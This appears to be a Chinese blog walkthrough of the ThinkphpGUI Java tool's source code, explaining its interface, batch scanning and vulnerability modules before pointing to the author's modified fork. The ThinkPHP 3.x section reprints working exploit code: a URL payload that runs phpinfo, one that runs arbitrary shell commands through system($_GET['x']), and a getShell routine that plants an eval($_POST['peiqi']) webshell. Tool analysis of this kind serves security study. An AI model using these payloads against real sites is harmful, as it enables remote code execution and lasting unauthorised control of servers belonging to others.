Thinkphpgui项目重置

改造工具链接

https://github.com/Lotus6/ThinkphpGUI

代码结构

image ​ pom.xml引入了http请求库​kevinsawicki​ ​image 我们从执行流程处开始研究下代码怎么写的: ​image

public static void main(String[] args) throws Exception {
    // 创建tp_view对象,用于显示ThinkPHP视图
    tp_view f = new tp_view();

    // 设置窗口居中显示
    f.setLocationRelativeTo(null);

    // 设置当关闭窗口时默认的操作为退出程序
    f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

    // 将窗口设置为可见,即显示窗口
    f.setVisible(true);
}

可以看到主程序下面三行都为窗口显示问题,我们跟踪下tp_view对象:

image ​ 看到tp_view()调用initComponents()方法初始化tp_view对象的组件,接着看下initComponents: ​image ​ 一些常规组件的定义,用的是java.awt​库。 检测按钮调用check_url方法: image ​ 查看check_url方法: ​image ​ 首先调用checkTheURL方法,主要检测url是不是以http开头: ​image ​ 如果符合会调用check_url方法: ​image ​ url为url,version为combobox组件选中的文本

当文本等于ALL时,定义一个列表,然后for循环遍历

BasePayload bp = Tools.getPayload(v);

获取关键字对应漏洞信息。

exploit包里主要是实现了utils包里的BasePayload​接口

basepayload定义了三个接口:

检测接口
Result checkVUL(String url) throws Exception;
命令执行接口
Result exeVUL(String url,String cmd) throws Exception;
获取shell接口
Result getShell(String url) throws Exception;

其中Result为定义的java实例: ​image ​ 主要有三个属性:

布尔型的res,含义是检测结果;

字符串类型payload,含义是返回漏洞相关payload;

字符串类型vuln,含义是返回漏洞名称;

下面来看下其中漏洞接口的实现:

以tp3为例:

CheckVUl:

@Override
public Result checkVUL(String url) throws Exception {

    // 检查响应中是否包含"PHP Version"字符串
    String CheckStr = "PHP Version";

    // 创建Module对象,用于获取模块信息
    Module m = new Module();

    // 获取URL的模块名称
    String module = m.getModule(url);

    // 构建payload,用于发送请求检查漏洞
    String payload = url + "/?s=" + module + "/\\think\\module/action/param1/${@phpinfo()}";

    try {
        // 发起HTTP请求,获取响应内容
        HttpRequest req = HttpRequest.get(url);

        // 检查响应内容中是否包含指定的字符串,如果包含则表示存在漏洞
        if (req.body().contains(CheckStr)) {
            // 返回包含漏洞信息的Result对象
            return new Result(true, "ThinkPHP 3.x RCE", payload);
        }
    } catch (Exception e) {
        // 发生异常时打印异常信息
        e.printStackTrace();
    }

    // 没有发现漏洞,返回包含未找到漏洞信息的Result对象
    return new Result(false, "ThinkPHP 3.x RCE", "");
}

Module对象实现: ​image ​ 存在一个方法getModule,主要功能是遍历/?s=/ 后面路径,如果其中某一个路径返回状态码为200则返回mod的值,如果遍历后这三个值的code都不等于200,返回index。

接着看exVUL接口的实现:

@Override
public Result exeVUL(String url, String cmd) throws Exception {
    // 创建Module对象,用于获取模块信息
    Module m = new Module();

    // 获取URL的模块名称
    String module = m.getModule(url);

    // 构建payload_url,用于执行远程命令
    String payload_url = url + "/?s=" + module + "/\\think\\module/action/param1/{${system($_GET['x'])}}?x=" + cmd;

    try {
        // 发起HTTP请求,获取远程命令执行结果
        String res = HttpRequest.get(payload_url).body();

        // 返回包含成功执行结果的Result对象
        return new Result(true, null, res);
    } catch (Exception e) {
        // 发生异常时打印异常信息
        e.printStackTrace();
    }

    // 返回包含失败信息的Result对象
    return new Result(false, null, null);
}

最后看下getShell接口实现:

@Override
public Result getShell(String url) throws Exception {
    try {
        // 创建Module对象,用于获取模块信息
        Module m = new Module();

        // 获取URL的模块名称
        String module = m.getModule(url);

        // 构建shell_url,用于获取Webshell
        String shell_url = url + "/?s=" + module + "/\\think\\module/action/param1/{${eval($_POST['peiqi'])}}";

        // 发起HTTP请求,获取Webshell的HTTP响应状态码
        int code = HttpRequest.get(shell_url).code();

        // 如果HTTP响应状态码为200,表示成功获取Webshell
        if (code == 200) {
            // 返回包含成功获取Webshell URL的Result对象
            return new Result(true, null, shell_url);
        }
    } catch (Exception e) {
        // 发生异常时打印异常信息
        e.printStackTrace();
    }

    // 返回包含失败信息的Result对象
    return new Result(false, null, null);
}

然后判断是否存在结果,如果存在在指定组件输出信息,不存在输出信息;

然后是不选择all的时候,和上面一样输出下。

以上就是检测按钮绑定的方法。

回过头接着看下initComponents​方法后面的一些按钮绑定的动作: ​image ​ ​image ​ clear按钮清除下方两个文本框。 ​image ​ 执行按钮就是执行exe_vul方法 ​imageimage ​ 当versin等于all时,弹窗错误信息。

老样子执行payload,具体exeVUL方法上面已经分析过。

看一下导入按钮: ​image ​ ​image 调用batch_import_url方法:

主要内容为选择文件,并将文件路径输出到文本框中 ​image ​ 其中调用了Tools红的read_file方法: ​image ​ 其方法主要内容为读取文件,将文件内容按行分割加入到列表中,返回一个列表。

然后输出导入多少条url。

然后看下批量检测按钮绑定事件: ​image ​ ​image ​ 调用batch_check_url​方法: ​image ​ 主要内容为for循环上面获得的list,来循环检测,内容和单个检测相似,多了嵌套。

然后看下getshell按钮 ​image 调用getshell方法: ​image 当version等于all时,弹框选择对应版本。

然后就是调用getshell结果,输出。

完事,基本分析完成。

整体代码存在冗余,结构简单,功能明确。

其他问题

使用https://github.com/kevinsawicki/http-request​库似乎无法做socks代理。

改造

对代码和UI进行了改造,改造链接如下:

https://github.com/nex121/ThinkphpGUI

环境提交bug或poc!😃